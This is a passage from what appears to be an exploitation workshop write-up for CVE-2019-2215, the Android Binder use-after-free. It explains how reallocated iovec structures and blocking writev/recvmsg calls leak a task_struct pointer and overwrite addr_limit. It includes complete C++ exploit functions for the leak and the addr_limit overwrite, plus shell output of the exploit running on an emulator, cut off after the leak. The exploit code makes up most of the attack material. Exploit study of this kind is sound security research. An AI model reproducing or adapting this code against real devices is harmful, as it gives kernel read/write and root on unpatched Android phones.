-`read`, `write`, etc., system call can pass a pointer to **user space** address to system functions. This is where `addr_limit` comes into picture. These system functions use `access_ok` function to validate if the passed address is really a **user space** address and it's accessible.
-
-
-As we are on **x86_64** bit system at the moment, let's open `workshop/android-4.14-dev/goldfish/arch/x86/include/asm/uaccess.h` and see how `access_ok` is defined.
-
-```c
-#define access_ok(type, addr, size) \
-({ \
- WARN_ON_IN_IRQ(); \
- likely(!__range_not_ok(addr, size, user_addr_max())); \
-})
-
-#define user_addr_max() (current->thread.addr_limit.seg)
-```
-
-As you can see `user_addr_max` uses `current->thread.addr_limit.seg` for validation. If we can clobber this `addr_limit` with `0xFFFFFFFFFFFFFFFF`, we will be able to read and write to any part of the **kernel space** memory.
-
-> **Note:** **Vitaly Nikolenko (@vnik5287)** pointed out that in **arm64** there is a check in `do_page_fault` function which will crash the process if the `addr_limit` is set to `0xFFFFFFFFFFFFFFFF`. I did all of my tests on **x86_64** system so did not notice that in the beginning.
-
-
-Let's open `workshop/android-4.14-dev/goldfish/arch/arm64/mm/fault.c` and investigate `do_page_fault` function.
-
-```c
-static int __kprobes do_page_fault(unsigned long addr, unsigned int esr,
- struct pt_regs *regs)
-{
- struct task_struct *tsk;
- struct mm_struct *mm;
- int fault, sig, code, major = 0;
- unsigned long vm_flags = VM_READ | VM_WRITE;
- unsigned int mm_flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
- [...]
- if (is_ttbr0_addr(addr) && is_permission_fault(esr, regs, addr)) {
- /* regs->orig_addr_limit may be 0 if we entered from EL0 */
- if (regs->orig_addr_limit == KERNEL_DS)
- die("Accessing user space memory with fs=KERNEL_DS", regs, esr);
- [...]
- }
- [...]
- return 0;
-}
-```
-
-* checks if `orig_addr_limit == KERNEL_DS` then it will crash, basically `KERNEL_DS = 0xFFFFFFFFFFFFFFFF`
-
-
-For the better **compatibility** of the exploit on **x86_64** and **arm64**, it's better to set `addr_limit` to `0xFFFFFFFFFFFFFFFE`.
-
-
-Using this vulnerability, we would like to corrupt `addr_limit` to upgrade our simple primitive to more powerful primitive called **Arbitrary Read Write** primitive.
-
-**Arbitrary Read Write** primitives are also called as **data only** attacks. Where we do not hijack the **execution flow** of the **CPU** and just corrupt targeted data structures to achieve **privilege escalation**.
-
-
-## Corruption Target {#corruption-target}
-
-We are going to use `struct iovec` as the corruption target as used by **Maddie Stone** and **Jann Horn** of **Project Zero**. The use of `struct iovec` was first published by **Di Shen** of **KeenLab**.
-
-`struct iovec` is used for **[Vectored I/O](https://en.wikipedia.org/wiki/Vectored_I/O)** also know as **[Scatter/Gather I/O](https://www.gnu.org/software/libc/manual/html_node/Scatter_002dGather.html)**.
-
-**Vectored I/O** is used to **read** data to a single buffer from multiple buffers and **write** data from single buffer to multiple buffers. This is used to reduce the overhead associated with multiple system calls if we want to read and write to multiple buffers using `read` or `write` system call.
-
-In Linux, **Vectored I/O** is achieved using `iovec` structure and system calls like `readv`, `writev`, `recvmsg`, `sendmsg`, etc.
-
-Let's see how `struct iovec` is defined in `workshop/android-4.14-dev/goldfish/include/uapi/linux/uio.h`.
-
-```c
-struct iovec
-{
- void __user *iov_base; /* BSD uses caddr_t (1003.1g requires void *) */
- __kernel_size_t iov_len; /* Must be size_t (1003.1g) */
-};
-```
-
-To better understand **Vectored I/O**, and how `iovec` works let's see the below given diagram.
-
-
-
-
-
-Advantages of `struct iovec`
-
-* small in size, on **x64 bit** system it's size is **0x10** bytes
-* we can control all the members `iov_base` and `iov_len`
-* we can stack them together to control desired **kmalloc cache**
-* it has a pointer to **buffer** and **length** of the buffer, which is a great target for corruption
-
-One of the main **issue** with `struct iovec` is that they are **short lived**. They are allocated by system calls when they are working with the buffers and immediately freed when they return to user mode.
-
-We want the `iovec` structure to stay in kernel when we trigger the **unlink** operation and overwrite the `iov_base` pointer with the address of `binder_thread->wait.head` to gain scoped read and write.
-
-
-> **Note:** We are on **Android 4.14** kernel, however, **Project Zero** guys wrote the exploit for **Android 4.4** kernel which does not have additional `access_ok` checks in `lib/iov_iter.c`. So, we had already applied the patch to revert those additional **checks** which would prevents us from leaking **kernel space** memory chunk.
-
-
-**How do we make `iovec` structure stay in kernel before we trigger the unlink operation?**
-
-One way is to use system calls like `readv`, `writev` on a `pipe` file descriptor because it can **block** if the `pipe` is **full** or **empty**.
-
-`pipe` is an **unidirectional** data channel that can be used for interprocess communication. The blocking feature of `pipe` gives us significant time window to corrupt `iovec` structure in **kernel space**.
-
-In the same manner we can use `recvmsg` system call to **block** by passing `MSG_WAITALL` as the flag parameter.
-
-Let's dig into `writev` system call and figure out how it uses `iovec` structure. Let's open `workshop/android-4.14-dev/goldfish/fs/read_write.c` and look into the implementation.
-
-
-```c
-SYSCALL_DEFINE3(writev, unsigned long, fd, const struct iovec __user *, vec,
- unsigned long, vlen)
-{
- return do_writev(fd, vec, vlen, 0);
-}
-
-static ssize_t do_writev(unsigned long fd, const struct iovec __user *vec,
- unsigned long vlen, rwf_t flags)
-{
- struct fd f = fdget_pos(fd);
- ssize_t ret = -EBADF;
-
- if (f.file) {
- [...]
- ret = vfs_writev(f.file, vec, vlen, &pos, flags);
- [...]
- }
- [...]
- return ret;
-}
-
-static ssize_t vfs_writev(struct file *file, const struct iovec __user *vec,
- unsigned long vlen, loff_t *pos, rwf_t flags)
-{
- struct iovec iovstack[UIO_FASTIOV];
- struct iovec *iov = iovstack;
- struct iov_iter iter;
- ssize_t ret;
-
- ret = import_iovec(WRITE, vec, vlen, ARRAY_SIZE(iovstack), &iov, &iter);
- if (ret >= 0) {
- [...]
- ret = do_iter_write(file, &iter, pos, flags);
- [...]
- }
- return ret;
-}
-```
-
-* `writev` passes the pointer to `iovec` structure and **number** of `iovec` from user space to a function `do_writev`
-* `do_writev` passes the same information to another function `vfs_writev` with some additional parameters
-* `vfs_writev` passes the same information to another function `import_iovec` with some additional parameters
-
-
-Let's open `workshop/android-4.14-dev/goldfish/lib/iov_iter.c` and look at the implementation of `import_iovec` function.
-
-```c
-int import_iovec(int type, const struct iovec __user * uvector,
- unsigned nr_segs, unsigned fast_segs,
- struct iovec **iov, struct iov_iter *i)
-{
- ssize_t n;
- struct iovec *p;
- n = rw_copy_check_uvector(type, uvector, nr_segs, fast_segs,
- *iov, &p);
- [...]
- iov_iter_init(i, type, p, nr_segs, n);
- *iov = p == *iov ? NULL : p;
- return 0;
-}
-```
-
-* `import_iovec` passes the same information about `iovec` to another function `rw_copy_check_uvector` with some additional parameters
-* initializes the kernel `iovec` structure stack by calling `iov_iter_init`
-
-
-Let's open `workshop/android-4.14-dev/goldfish/fs/read_write.c` and look at the implementation of `rw_copy_check_uvector` function.
-
-```c
-ssize_t rw_copy_check_uvector(int type, const struct iovec __user * uvector,
- unsigned long nr_segs, unsigned long fast_segs,
- struct iovec *fast_pointer,
- struct iovec **ret_pointer)
-{
- unsigned long seg;
- ssize_t ret;
- struct iovec *iov = fast_pointer;
- [...]
- if (nr_segs > fast_segs) {
- iov = kmalloc(nr_segs*sizeof(struct iovec), GFP_KERNEL);
- [...]
- }
- if (copy_from_user(iov, uvector, nr_segs*sizeof(*uvector))) {
- [...]
- }
- [...]
- ret = 0;
- for (seg = 0; seg < nr_segs; seg++) {
- void __user *buf = iov[seg].iov_base;
- ssize_t len = (ssize_t)iov[seg].iov_len;
- [...]
- if (type >= 0
- && unlikely(!access_ok(vrfy_dir(type), buf, len))) {
- [...]
- }
- if (len > MAX_RW_COUNT - ret) {
- len = MAX_RW_COUNT - ret;
- iov[seg].iov_len = len;
- }
- ret += len;
- }
- [...]
- return ret;
-}
-```
-
-* `rw_copy_check_uvector` allocates **kernel space** memory and calculates the **size** of the allocation by doing `nr_segs*sizeof(struct iovec)`
- * here, `nr_segs` is equal to the count in `iovec` structure stack that we passed from **user space**
-* copies the `iovec` structure stack from **user space** to newly allocated **kernel space** by calling `copy_from_user` function.
-* validates whether `iov_base` pointer is valid by calling `access_ok` function.
-
-As you can see how `rw_copy_check_uvector` helps us to control desired **kmalloc cache**
-
-
-## Leaking task_struct* {#leaking-task-struct-pointer}
-
-Let's see the strategy to leak `task_struct` pointer which is stored in `binder_thread`. We will use `writev` system call this time as we want to achieve **scoped read** from **kernel space** to **user space**.
-
-Size of `binder_thread` structure is equal to `408` bytes. If you know about **SLUB** allocator, you will know that **kmalloc-512** contains all the object whose size is **greater** than **256** but **less than equal** to **512** bytes. As the size of the `binder_thread` structure is `408` bytes, it will end up in **kmalloc-512** cache.
-
-First we need to figure out how many `iovec` structure we need to stack up to reallocate `binder_thread` **freed** chunk.
-
-```
-gef> p /d sizeof(struct binder_thread)
-$4 = 408
-gef> p /d sizeof(struct iovec)
-$5 = 16
-gef> p /d sizeof(struct binder_thread) / sizeof(struct iovec)
-$9 = 25
-gef> p /d 25*16
-$16 = 400
-```
-
-We see that we will need to stack up **25** `iovec` structures to reallocate the **dangling** chunk.
-
-
-> **Note**: **25** `iovec` structures are **400** bytes in size. This is a good thing, otherwise `task_struct` pointer would also get clobbered and we would not be able to leak it.
-
-
-If you remember, when the **unlink** operation happened **two** **quadwords** where written to the **dangling** chunk. Let's figure out which `iovec` structures will be clobbered.
-
-```c
-gef> p /d offsetof(struct binder_thread, wait) / sizeof(struct iovec)
-$13 = 10
-```
-
-
-| offset | binder_thread | iovecStack |
-|--------|----------------|----------------------------------------------|
-| 0x00 | ... | iovecStack[0].iov_base = 0x0000000000000000 |
-| 0x08 | ... | iovecStack[0].iov_len = 0x0000000000000000 |
-| ... | ... | ... |
-| ... | ... | ... |
-| 0xA0 | wait.lock | iovecStack[10].iov_base = m_4gb_aligned_page |
-| 0xA8 | wait.head.next | iovecStack[10].iov_len = PAGE_SIZE |
-| 0xB0 | wait.head.prev | iovecStack[11].iov_base = 0x41414141 |
-| 0xB8 | ... | iovecStack[11].iov_len = PAGE_SIZE |
-| ... | ... | ... |
-
-
-As we can see from the above table, `iovecStack[10].iov_len` and `iovecStack[11].iov_base` will be clobbered.
-
-So, we would want to process `iovecStack[10]`, block `writev` system call and then trigger the **unlink** operation. This will ensure that when `iovecStack[11].iov_base` is clobbered, we will resume the `writev` system call. Then finally, leak the content of the `binder_thread` chunk back to **user space** and read `task_struct` pointer from it.
-
-
-**But, what's the importance of `m_4gb_aligned_page` in this case?**
-
-Before doing the **unlink** operation, `remove_wait_queue` tries to acquire **spin lock**. If the value is not `0`, then the thread will keep on **spinning** and the **unlink** operation will never occur. As `iov_base` is a **64 bit** value, we want to ensure that lower **32 bits** is `0`.
-
-
-> **Note:** To effectively, use the **blocking** feature of `writev` system calls we will need at least two **light weight processes**.
-
-
-Let's build the attack plan to leak `task_struct` structure pointer
-
-* create `pipe`, get the file descriptors and set the maximum buffer size to `PAGE_SIZE`
-* link `eventpoll` wait queue to `binder_thread` wait queue
-* `fork` the process
- * parent process
- * free the `binder_thread` structure
- * trigger `writev` system call and keep blocking
- * once `writev` system call resumes, it will process `iovecStack[11]` which is already clobbered due to **unlink** operation
- * read the pointer to `task_struct` from the leaked **kernel space** chunk
- * child process
- * `sleep` to avoid race conditions
- * trigger the **unlink** operation
- * read dummy data from the `pipe` which is written by processing `iovecStack[10]`, this will resume `writev` system call
-
-
-To better understand the flow of exploitation, let's see a diagram created by **Maddie Stone** on **Project Zero** blog post. The diagram is very accurate and I do not want to redraw the same.
-
-
-
-
-
-
-Now, let's see the how the same could be achieved in the exploit code.
-
-```cpp
-void BinderUaF::leakTaskStruct() {
- int pipe_fd[2] = {0};
- ssize_t nBytesRead = 0;
- static char dataBuffer[PAGE_SIZE] = {0};
- struct iovec iovecStack[IOVEC_COUNT] = {nullptr};
-
- //
- // Get binder fd
- //
-
- setupBinder();
-
- //
- // Create event poll
- //
-
- setupEventPoll();
-
- //
- // We are going to use iovec for scoped read/write,
- // we need to make sure that iovec stays in the kernel
- // before we trigger the unlink after binder_thread has
- // been freed.
- //
- // One way to achieve this is by using the blocking APIs
- // in Linux kernel. Such APIs are read, write, etc on pipe.
- //
-
- //
- // Setup pipe for iovec
- //
-
- INFO("[+] Setting up pipe\n");
-
- if (pipe(pipe_fd) == -1) {
- ERR("\t[-] Unable to create pipe\n");
- exit(EXIT_FAILURE);
- } else {
- INFO("\t[*] Pipe created successfully\n");
- }
-
- //
- // pipe_fd[0] = read fd
- // pipe_fd[1] = write fd
- //
- // Default size of pipe is 65536 = 0x10000 = 64KB
- // This is way much of data that we care about
- // Let's reduce the size of pipe to 0x1000
- //
- if (fcntl(pipe_fd[0], F_SETPIPE_SZ, PAGE_SIZE) == -1) {
- ERR("\t[-] Unable to change the pipe capacity\n");
- exit(EXIT_FAILURE);
- } else {
- INFO("\t[*] Changed the pipe capacity to: 0x%x\n", PAGE_SIZE);
- }
-
- INFO("[+] Setting up iovecs\n");
-
- //
- // As we are overlapping binder_thread with iovec,
- // binder_thread->wait.lock will align to iovecStack[10].io_base.
- //
- // If binder_thread->wait.lock is not 0 then the thread will get
- // stuck in trying to acquire the lock and the unlink operation
- // will not happen.
- //
- // To avoid this, we need to make sure that the overlapped data
- // should be set to 0.
- //
- // iovec.iov_base is a 64bit value, and spinlock_t is 32bit, so if
- // we can pass a valid memory address whose lower 32bit value is 0,
- // then we can avoid spin lock issue.
- //
-
- mmap4gbAlignedPage();
-
- iovecStack[IOVEC_WQ_INDEX].iov_base = m_4gb_aligned_page;
- iovecStack[IOVEC_WQ_INDEX].iov_len = PAGE_SIZE;
- iovecStack[IOVEC_WQ_INDEX + 1].iov_base = (void *) 0x41414141;
- iovecStack[IOVEC_WQ_INDEX + 1].iov_len = PAGE_SIZE;
-
- //
- // Now link the poll wait queue to binder thread wait queue
- //
-
- linkEventPollWaitQueueToBinderThreadWaitQueue();
-
- //
- // We should trigger the unlink operation when we
- // have the binder_thread reallocated as iovec array
- //
-
- //
- // Now fork
- //
-
- pid_t childPid = fork();
-
- if (childPid == 0) {
- //
- // child process
- //
-
- //
- // There is a race window between the unlink and blocking
- // in writev, so sleep for a while to ensure that we are
- // blocking in writev before the unlink happens
- //
-
- sleep(2);
-
- //
- // Trigger the unlink operation on the reallocated chunk
- //
-
- unlinkEventPollWaitQueueFromBinderThreadWaitQueue();
-
- //
- // First interesting iovec will read 0x1000 bytes of data.
- // This is just the junk data that we are not interested in
- //
-
- nBytesRead = read(pipe_fd[0], dataBuffer, sizeof(dataBuffer));
-
- if (nBytesRead != PAGE_SIZE) {
- ERR("\t[-] CHILD: read failed. nBytesRead: 0x%lx, expected: 0x%x", nBytesRead, PAGE_SIZE);
- exit(EXIT_FAILURE);
- }
-
- exit(EXIT_SUCCESS);
-
- }
-
- //
- // parent process
- //
-
- //
- // I have seen some races which hinders the reallocation.
- // So, now freeing the binder_thread after fork.
- //
-
- freeBinderThread();
-
- //
- // Reallocate binder_thread as iovec array
- //
- // We need to make sure this writev call blocks
- // This will only happen when the pipe is already full
- //
-
- //
- // This print statement was ruining the reallocation,
- // spent a night to figure this out. Commenting the
- // below line.
- //
-
- // INFO("[+] Reallocating binder_thread\n");
-
-
- ssize_t nBytesWritten = writev(pipe_fd[1], iovecStack, IOVEC_COUNT);
-
- //
- // If the corruption was successful, the total bytes written
- // should be equal to 0x2000. This is because there are two
- // valid iovec and the length of each is 0x1000
- //
-
- if (nBytesWritten != PAGE_SIZE * 2) {
- ERR("\t[-] writev failed. nBytesWritten: 0x%lx, expected: 0x%x\n", nBytesWritten, PAGE_SIZE * 2);
- exit(EXIT_FAILURE);
- } else {
- INFO("\t[*] Wrote 0x%lx bytes\n", nBytesWritten);
- }
-
- //
- // Now read the actual data from the corrupted iovec
- // This is the leaked data from kernel address space
- // and will contain the task_struct pointer
- //
-
- nBytesRead = read(pipe_fd[0], dataBuffer, sizeof(dataBuffer));
-
- if (nBytesRead != PAGE_SIZE) {
- ERR("\t[-] read failed. nBytesRead: 0x%lx, expected: 0x%x", nBytesRead, PAGE_SIZE);
- exit(EXIT_FAILURE);
- }
-
- //
- // Wait for the child process to exit
- //
-
- wait(nullptr);
-
- m_task_struct = (struct task_struct *) *((int64_t *) (dataBuffer + TASK_STRUCT_OFFSET_IN_LEAKED_DATA));
-
- m_pidAddress = (void *) ((int8_t *) m_task_struct + offsetof(struct task_struct, pid));
- m_credAddress = (void *) ((int8_t *) m_task_struct + offsetof(struct task_struct, cred));
- m_nsproxyAddress = (void *) ((int8_t *) m_task_struct + offsetof(struct task_struct, nsproxy));
-
- INFO("[+] Leaked task_struct: %p\n", m_task_struct);
- INFO("\t[*] &task_struct->pid: %p\n", m_pidAddress);
- INFO("\t[*] &task_struct->cred: %p\n", m_credAddress);
- INFO("\t[*] &task_struct->nsproxy: %p\n", m_nsproxyAddress);
-}
-```
-
-I hope know you have a better idea what's going on and how in-flight `iovec` structure was used for leaking `task_struct` pointer.
-
-
-## Clobber addr_limit {#clobber-addr-limit}
-
-We have leaked `task_struct` pointer, now it's time to clobber `mm_segment_t addr_limit`.
-
-We can't use `writev` because we do not want to achieve **scoped read** but instead we want **scoped write** to **kernel space**. Initially I tried `readv` blocking feature to achieve the **scoped write** but I found few issue because of which we can not use it.
-
-Below given are some of the reasons
-
-* `readv` will not process **one** `iovec` and block like `writev` calls does
-* when `iovecStack[10].iov_len` is clobbered with a pointer, the length is now a big number and when `copy_page_to_iter_iovec` function tries to copy the data by processing the `iovec` structure stack, it fails.
-
-
-Let's open `workshop/android-4.14-dev/goldfish/lib/iov_iter.c` and see the implementation of `copy_page_to_iter_iovec` function.
-
-```c
-static size_t copy_page_to_iter_iovec(struct page *page, size_t offset, size_t bytes,
- struct iov_iter *i)
-{
- size_t skip, copy, left, wanted;
- const struct iovec *iov;
- char __user *buf;
- void *kaddr, *from;
- [...]
- while (unlikely(!left && bytes)) {
- iov++;
- buf = iov->iov_base;
- copy = min(bytes, iov->iov_len);
- left = copyout(buf, from, copy);
- [...]
- }
- [...]
- return wanted - bytes;
-}
-```
-
-* when it tries to process the clobbered `iovecStack[10]`, it tries to compute the length of the copy in this line `copy = min(bytes, iov->iov_len)`
-* `bytes` is equal to sum of all the `iov_len` in the `iovecStack` and `iov->iov_len` is the `iovecStack[10].iov_len` which is now clobbered with a pointer
-* this is where things **go wrong** because, now length becomes `copy = bytes` and skips the processing of `iovecStack[11]` which would have given us the **scoped write**
-
-
-For achieving **scoped write**, we are going to use `recvmsg` system call to **block** by passing `MSG_WAITALL` as the flag parameter. `recvmsg` system call can block just like `writev` system call and would would not encounter the issue we discussed with `readv` system call.
-
-
-Let's see what we want to write to `addr_limit` field.
-
-```
-gef> p sizeof(mm_segment_t)
-$17 = 0x8
-```
-
-As the size of `mm_segment_t` is **0x8** bytes, we would want to clobber it with `0xFFFFFFFFFFFFFFFE` as it's the highest valid **kernel space** address and will not crash the process if **page fault** occurs in **arm64** system.
-
-
-Now, let's see how we will overlap `binder_thread` structure chunk with `iovec` structure stack in this case.
-
-
-| offset | binder_thread | iovecStack |
-|--------|----------------|------------------------------------------------|
-| 0x00 | ... | iovecStack[0].iov_base = 0x0000000000000000 |
-| 0x08 | ... | iovecStack[0].iov_len = 0x0000000000000000 |
-| ... | ... | ... |
-| ... | ... | ... |
-| 0xA0 | wait.lock | iovecStack[10].iov_base = m_4gb_aligned_page |
-| 0xA8 | wait.head.next | iovecStack[10].iov_len = 1 |
-| 0xB0 | wait.head.prev | iovecStack[11].iov_base = 0x41414141 |
-| 0xB8 | ... | iovecStack[11].iov_len = 0x8 + 0x8 + 0x8 + 0x8 |
-| 0xC0 | ... | iovecStack[12].iov_base = 0x42424242 |
-| 0xC8 | ... | iovecStack[12].iov_len = 0x8 |
-| ... | ... | ... |
-
-
-Again, `iovecStack[10].iov_len` and `iovecStack[11].iov_base` will be clobbered with a pointer. However, we will only trigger the **unlink** operation, when `iovecStack[10]` is already processed and `recvmsg` system call is blocking and waiting to receive the rest of the messages.
-
-When the clobber is done, we will write rest of the data (`finalSocketData`) to the socket file descriptor and then `recvmsg` system call will resume automatically.
-
-```c
-static uint64_t finalSocketData[] = {
- 0x1, // iovecStack[IOVEC_WQ_INDEX].iov_len
- 0x41414141, // iovecStack[IOVEC_WQ_INDEX + 1].iov_base
- 0x8 + 0x8 + 0x8 + 0x8, // iovecStack[IOVEC_WQ_INDEX + 1].iov_len
- (uint64_t) ((uint8_t *) m_task_struct +
- OFFSET_TASK_STRUCT_ADDR_LIMIT), // iovecStack[IOVEC_WQ_INDEX + 2].iov_base
- 0xFFFFFFFFFFFFFFFE // addr_limit value
-};
-```
-
-Let's see what will happen after clobber
-
-* `iovecStack[10]` is already processed before we trigger the **unlink** operation
-* `iovecStack[10].iov_len` and `iovecStack[11].iov_base` is clobbered with a pointer
-* when `recvmsg` starts processing `iovecStack[11]`
- * it will write `1` to `iovecStack[10].iov_len` which was earlier clobbered, basically fix it back to it's initial value
- * write `0x41414141` to `iovecStack[11].iov_base`
- * write `0x20` to `iovecStack[11].iov_len`
- * write address of `addr_limit` to `iovecStack[12].iov_base`
-* now, when `recvmsg` starts processing `iovecStack[12]`
- * write `0xFFFFFFFFFFFFFFFE` to `addr_limit`
-
-This is how we will convert **scoped write** to controlled **arbitrary write**.
-
-
-Let's build the attack plan to clobber `addr_limit`
-
-* create `socketpair` and get the file descriptors
-* write **0x1** byte of junk data to socket's write descriptor
-* link `eventpoll` wait queue to `binder_thread` wait queue
-* `fork` the process
- * parent process
- * free the `binder_thread` structure
- * trigger `recvmsg` system call, it will process the **0x1** byte of junk data that we wrote, then blocks and waits to receive rest of the data
- * once `recvmsg` system call resumes, it will process `iovecStack[11]` which is already clobbered due to **unlink** operation
- * once `recvmsg` system call returns it would have clobbered `addr_limit`
- * child process
- * `sleep` to avoid race conditions
- * trigger the **unlink** operation
- * write rest of the data `finalSocketData` to the socket's write descriptor
-
-
-Now, let's see the how the same could be achieved in the exploit code.
-
-```cpp
-void BinderUaF::clobberAddrLimit() {
- int sock_fd[2] = {0};
- ssize_t nBytesWritten = 0;
- struct msghdr message = {nullptr};
- struct iovec iovecStack[IOVEC_COUNT] = {nullptr};
-
- //
- // Get binder fd
- //
-
- setupBinder();
-
- //
- // Create event poll
- //
-
- setupEventPoll();
-
- //
- // For clobbering the addr_limit we trigger the unlink
- // operation again after reallocating binder_thread with
- // iovecs
- //
- // If you see how we manage to leak kernel data is by using
- // the blocking feature of writev
- //
- // We could use readv blocking feature to do scoped write
- // However, after trying readv and reading the Linux kernel
- // code, I figured out an issue which makes readv useless for
- // current bug.
- //
- // The main issue that I found is:
- //
- // iovcArray[IOVEC_COUNT].iov_len is clobbered with a pointer
- // due to unlink operation
- //
- // So, when copy_page_to_iter_iovec tries to process the iovecs,
- // there is a line of code, copy = min(bytes, iov->iov_len);
- // Here, "bytes" is equal to sum of all iovecs length and as
- // "iov->iov_len" is corrupted with a pointer which is obviously
- // a very big number, now copy = sum of all iovecs length and skips
- // the processing of the next iovec which is the target iovec which
- // would give was scoped write.
- //
- // I believe P0 also faced the same issue so they switched to recvmsg
- //
-
- //
- // Setup socketpair for iovec
- //
- // AF_UNIX/AF_LOCAL is used because we are interested only in
- // local communication
- //
- // We use SOCK_STREAM so that MSG_WAITALL can be used in recvmsg
- //
-
- INFO("[+] Setting up socket\n");
-
- if (socketpair(AF_UNIX, SOCK_STREAM, 0, sock_fd) == -1) {
- ERR("\t[-] Unable to create socketpair\n");
- exit(EXIT_FAILURE);
- } else {
- INFO("\t[*] Socketpair created successfully\n");
- }
-
- //
- // We will just write junk data to socket so that when recvmsg
- // is called it process the fist valid iovec with this junk data
- // and then blocks and waits for the rest of the data to be received
- //
-
- static char junkSocketData[] = {
- 0x41
- };
-
- INFO("[+] Writing junk data to socket\n");
-
- nBytesWritten = write(sock_fd[1], &junkSocketData, sizeof(junkSocketData));
-
- if (nBytesWritten != sizeof(junkSocketData)) {
- ERR("\t[-] write failed. nBytesWritten: 0x%lx, expected: 0x%lx\n", nBytesWritten, sizeof(junkSocketData));
- exit(EXIT_FAILURE);
- }
-
- //
- // Write junk data to the socket so that when recvmsg is
- // called, it process the first valid iovec with this junk
- // data and then blocks for the rest of the incoming socket data
- //
-
- INFO("[+] Setting up iovecs\n");
-
- //
- // We want to block after processing the iovec at IOVEC_WQ_INDEX,
- // because then, we can trigger the unlink operation and get the
- // next iovecs corrupted to gain scoped write.
- //
-
- mmap4gbAlignedPage();
-
- iovecStack[IOVEC_WQ_INDEX].iov_base = m_4gb_aligned_page;
- iovecStack[IOVEC_WQ_INDEX].iov_len = 1;
- iovecStack[IOVEC_WQ_INDEX + 1].iov_base = (void *) 0x41414141;
- iovecStack[IOVEC_WQ_INDEX + 1].iov_len = 0x8 + 0x8 + 0x8 + 0x8;
- iovecStack[IOVEC_WQ_INDEX + 2].iov_base = (void *) 0x42424242;
- iovecStack[IOVEC_WQ_INDEX + 2].iov_len = 0x8;
-
- //
- // Prepare the data buffer that will be written to socket
- //
-
- //
- // Setting addr_limit to 0xFFFFFFFFFFFFFFFF in arm64
- // will result in crash because of a check in do_page_fault
- // However, x86_64 does not have this check. But it's better
- // to set it to 0xFFFFFFFFFFFFFFFE so that this same code can
- // be used in arm64 as well.
- //
-
- static uint64_t finalSocketData[] = {
- 0x1, // iovecStack[IOVEC_WQ_INDEX].iov_len
- 0x41414141, // iovecStack[IOVEC_WQ_INDEX + 1].iov_base
- 0x8 + 0x8 + 0x8 + 0x8, // iovecStack[IOVEC_WQ_INDEX + 1].iov_len
- (uint64_t) ((uint8_t *) m_task_struct +
- OFFSET_TASK_STRUCT_ADDR_LIMIT), // iovecStack[IOVEC_WQ_INDEX + 2].iov_base
- 0xFFFFFFFFFFFFFFFE // addr_limit value
- };
-
- //
- // Prepare the message
- //
-
- message.msg_iov = iovecStack;
- message.msg_iovlen = IOVEC_COUNT;
-
- //
- // Now link the poll wait queue to binder thread wait queue
- //
-
- linkEventPollWaitQueueToBinderThreadWaitQueue();
-
- //
- // We should trigger the unlink operation when we
- // have the binder_thread reallocated as iovec array
- //
-
- //
- // Now fork
- //
-
- pid_t childPid = fork();
-
- if (childPid == 0) {
- //
- // child process
- //
-
- //
- // There is a race window between the unlink and blocking
- // in writev, so sleep for a while to ensure that we are
- // blocking in writev before the unlink happens
- //
-
- sleep(2);
-
- //
- // Trigger the unlink operation on the reallocated chunk
- //
-
- unlinkEventPollWaitQueueFromBinderThreadWaitQueue();
-
- //
- // Now, at this point, the iovecStack[IOVEC_WQ_INDEX].iov_len
- // and iovecStack[IOVEC_WQ_INDEX + 1].iov_base is clobbered
- //
- // Write rest of the data to the socket so that recvmsg starts
- // processing the corrupted iovecs and we get scoped write and
- // finally arbitrary write
- //
-
- nBytesWritten = write(sock_fd[1], finalSocketData, sizeof(finalSocketData));
-
- if (nBytesWritten != sizeof(finalSocketData)) {
- ERR("\t[-] write failed. nBytesWritten: 0x%lx, expected: 0x%lx", nBytesWritten, sizeof(finalSocketData));
- exit(EXIT_FAILURE);
- }
-
- exit(EXIT_SUCCESS);
-
- }
-
- //
- // parent process
- //
-
- //
- // I have seen some races which hinders the reallocation.
- // So, now freeing the binder_thread after fork.
- //
-
- freeBinderThread();
-
- //
- // Reallocate binder_thread as iovec array and
- // we need to make sure this recvmsg call blocks.
- //
- // recvmsg will block after processing a valid iovec at
- // iovecStack[IOVEC_WQ_INDEX]
- //
-
- ssize_t nBytesReceived = recvmsg(sock_fd[0], &message, MSG_WAITALL);
-
- //
- // If the corruption was successful, the total bytes received
- // should be equal to length of all iovec. This is because there
- // are three valid iovec
- //
-
- ssize_t expectedBytesReceived = iovecStack[IOVEC_WQ_INDEX].iov_len +
- iovecStack[IOVEC_WQ_INDEX + 1].iov_len +
- iovecStack[IOVEC_WQ_INDEX + 2].iov_len;
-
- if (nBytesReceived != expectedBytesReceived) {
- ERR("\t[-] recvmsg failed. nBytesReceived: 0x%lx, expected: 0x%lx\n", nBytesReceived, expectedBytesReceived);
- exit(EXIT_FAILURE);
- }
-
- //
- // Wait for the child process to exit
- //
-
- wait(nullptr);
-}
-```
-
-I hope know you have a better idea how we used **scoped write** to achieve controlled **arbitrary write** and clobbered `addr_limit` with `0xFFFFFFFFFFFFFFFE`.
-
-
-## Exploit In Action {#exploit-in-action}
-
-Let's see the exploit in action.
-
-```bash
-ashfaq@hacksys:~/workshop$ adb shell
-generic_x86_64:/ $ uname -a
-Linux localhost 4.14.150+ #1 repo:q-goldfish-android-goldfish-4.14-dev SMP PREEMPT Tue Apr x86_64
-generic_x86_64:/ $ id
-uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
-generic_x86_64:/ $ getenforce
-Enforcing
-generic_x86_64:/ $ cd /data/local/tmp
-generic_x86_64:/data/local/tmp $ ./cve-2019-2215-exploit
-
- ## # # ### ### ### # ### ### ### # ###
- # # # # # # # ## # # # # ## #
- # # # ## ### ### # # # ### ### ### ### # ###
- # # # # # # # # # # # # #
- ## # ### ### ### ### ### ### ### ### ###
- @HackSysTeam
-
-[+] Binding to 0th core
-[+] Opening: /dev/binder
- [*] m_binder_fd: 0x3
-[+] Creating event poll
- [*] m_epoll_fd: 0x4
-[+] Setting up pipe
- [*] Pipe created successfully
- [*] Changed the pipe capacity to: 0x1000
-[+] Setting up iovecs
-[+] Mapping 4GB aligned page
- [*] Mapped page: 0x100000000
-[+] Linking eppoll_entry->wait.entry to binder_thread->wait.head
-[+] Freeing binder_thread
-[+] Un-linking eppoll_entry->wait.entry from binder_thread->wait.head
- [*] Wrote 0x2000 bytes
-[+] Leaked task_struct: 0xffff888063a14b00
- [*] &task_struct->pid: 0xffff888063a14fe8
- [*] &task_struct->cred: 0xffff888063a15188
